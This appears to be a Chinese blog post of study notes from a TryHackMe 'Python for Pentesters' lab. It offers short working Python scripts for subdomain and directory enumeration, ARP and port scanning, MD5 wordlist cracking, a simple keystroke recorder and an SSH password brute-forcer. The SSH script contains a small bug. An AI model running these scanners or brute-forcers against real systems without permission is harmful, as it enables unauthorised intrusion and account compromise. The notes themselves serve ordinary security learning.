基于渗透的python
Python for Pentesters
还记得开始学习编程的C,虽然淡忘,但思想仍在。
子域名枚举
request库
import pyfiglet
import requests
import sys 
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
dir_path = ""
sub_list = open(dir_path, "r").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
    sub_domains = f"http://{sub}.{sys.argv[1]}" 
    try:
        requests.get(sub_domains)
    except requests.ConnectionError:
        pass
    else:
        print("Valid domain: ",sub_domains)
目录枚举
还是requests
import requests
import sys
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
path = ''
sub_list = open(path,'r').read()
directories = sub_list.splitlines()
for dir in directories:
    dir_enum = f"http://{sys.argv[1]}/{dir}"
    r = requests.get(dir_enum)
    if r.status_code==404:
        pass
    else:
        print("Valid directory:" ,dir_enum)
网络扫描
from scapy.all import *
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range) 
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
        print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
端口扫描
socket编程https://www.cnblogs.com/-Lucky-/p/17039661.html
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
ip = sys.argv[1]
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port):
    result = 1
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(0.5)
        r = sock.connect_ex((ip, port))
        if r == 0:
            result = r
        sock.close()
    except Exception as e:
        pass
    return result
for port in ports:
    sys.stdout.flush()
    response = probe_port(ip, port)
    if response == 0:
        open_ports.append(port) 
print(f"Open Ports:{open_ports}")
文件下载器
Linux 系统上的 Wget 或 Windows 上的 Certutil 是下载文件的有用工具。
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
import requests
url = 'https://download.sysinternals.com/files/PSTools.zip'
r = requests.get(url, allow_redirects=True)
open('PSTools.zip', 'wb').write(r.content)
hash破解
tools:john,hashcat
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
    for line in file.readlines():
        print(line)
        hash_ob = hashlib.md5(line.strip().encode())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line.strip())
            exit(0)
键盘记录器
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
ssh暴力破解
tools:hydra
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code
with open(password_file, 'r') as file:
    for line in file.readlines():
        password = line.strip()
        try:
            response = ssh_connect(password)
            if response == 0:
                 print('password found: '+ password)
                 exit(0)
            elif response == 1:
                print('no luck')
        except Exception as e:
            print(e)
        pass
input_file.close()
基于渗透的python的更多相关文章
- 基于SQL和PYTHON的数据库数据查询select语句
		#xiaodeng#python3#基于SQL和PYTHON的数据库数据查询语句import pymysql #1.基本用法cur.execute("select * from biao&q ... 
- DIY一个基于树莓派和Python的无人机视觉跟踪系统
		DIY一个基于树莓派和Python的无人机视觉跟踪系统 无人机通过图传将航拍到的图像存储并实时传送回地面站差点儿已经是标配.假设想来点高级的--在无人机上直接处理拍摄的图像并实现自己主动控制要怎么实现 ... 
- 基于七牛Python SDK写的一个批量下载脚本
		前言 上一篇基于七牛Python SDK写的一个同步脚本所写的脚本只支持上传,不支持文件下载. 虽然这个需求不太强烈,但有可能有人(在备份.迁移时)需要,而官方有没提供对应的工具,所以我就把这个功能也 ... 
- 配置基于Vim的Python开发环境
		配置基于Vim的Python开发环境插件 Vundle YouCompleteMe NERDTree Vim-Jinja2-Syntax set nocompatible " be iMpr ... 
- 基于Appium、Python的自动化测试
		基于Appium.Python的自动化测试环境部署和实践 第一章 导言 1.1 编制目的 该文档为选用Appium作为移动设备原生(Native).混合(Hybrid).移动Web(Mobile ... 
- 如何在Windows系统上基于Sublime搭建Python的编译环境
		刚刚接触到Python,直接在计算机上编译时不能正确的运行,所以将一些有关编译环境调试的知识总结了一下. 环境搭建: Python在 windows系统上编译的时候可能会出现一些编译无法运行的情况,我 ... 
- 基于Pycharm的Python开发环境配置
		基于Pycharm的Python开发环境配置 编辑于2020-11-18 Python安装 双击桌面的Python3.x安装包. 勾选Add to path. 方便起见,选择Install now.下 ... 
- 基于Selenium2与Python自动化测试环境搭建
		简介: selenium 是一个web的自动化测试工具,不少学习功能自动化的同学开始首选selenium ,相因为它相比QTP有诸多有点: * 免费,也不用再为破解QTP而大伤脑筋 * 小巧,对于 ... 
- 基于esky实现python应用的自动升级
		一.esky介绍 Esky is an auto-update framework for frozen Python applications. It provides a simple API t ... 
- 基于ELK和Python搭建简单的监控告警系统
		Reference: https://www.jianshu.com/p/67e358dc065d 在做完支付系统后,我搭建了两套监控系统. 一套是点评的CAT,主要用于代码级的实时统计和历史统计以及 ... 
随机推荐
- 实现一个CRDT工具库——LWWReg
			LWWReg LWW Register是一种数据结构,用于存储一个值和一个时间戳,支持读取和写入操作.在写入时,如果新的时间戳比原来的时间戳更大,那么就更新值和时间戳:在读取时,直接返回当前的值.这个 ... 
- 网络图片的爬取和存储.py(亲测有效)
			import requests import os url = "https://ss0.baidu.com/7Po3dSag_xI4khGko9WTAnF6hhy/zhidao/pic/i ... 
- Wondershare Recovery - 万兴数据恢复专家,恢复你 Mac 上的重要文件
			Wondershare Recoverit 是恢复被删除文件最有效的软件之一.计算机用户面临的一个主要问题是失去机密信息.我们可能是误删除了数据和文件,或者可能是由于病毒袭击.操作系统故障或硬盘故障而 ... 
- Live Home 3D Pro - 用于公寓和房屋的室内设计,支持 3D 实时渲染
			Live Home 3D Pro是一个直观的应用程序,用于公寓和房屋的室内设计,以及几乎任何复杂的景观.专业版提供了一套扩展的工具和独特的出口质量. 下载 ► Live Home 3D Pro 下载安 ... 
- [nefu]C++程序设计与分析实验 - 锐格
			[nefu]C++程序设计与分析实验 - 锐格 第二章 C++基础 5330 #include<iostream> #include<iomanip> using namesp ... 
- Spring(Bean详解)
			GoF之工厂模式 GoF是指二十三种设计模式 GoF23种设计模式可分为三大类: 创建型(5个):解决对象创建问题. 单例模式 工厂方法模式 抽象工厂模式 建造者模式 原型模式 结构型(7个):一些类 ... 
- CentOS 9 开局配置
			CentOS 9 开局配置 CentOS 9 发布有几年了,一直没有尝试使用,CentOS 9 有一些变动. 查看系统基础信息 # 查看系统基础信息 [root@chenby ~]# neofetch ... 
- 全网最详细 二进制 k8s v1.25.x文档
			二进制安装k8s v1.25.0 IPv4/IPv6双栈 Kubernetes 开源不易,帮忙点个star,谢谢了 介绍 kubernetes(k8s)二进制高可用安装部署,支持IPv4+IPv6双栈 ... 
- [Java]枚举类型:遍历为List
			方式1 Demo import com.google.common.collect.Lists; import java.util.HashMap; import java.util.List; im ... 
- LeeCode链表问题(二)
			LeeCode 19: 删除链表的倒数第n个节点 题目描述: 给你一个链表,删除链表的倒数第 n 个节点,并返回链表的头节点. 标签:链表,双指针 时间复杂度:O(N) 建立模型: 定义虚拟头节点,使 ... 
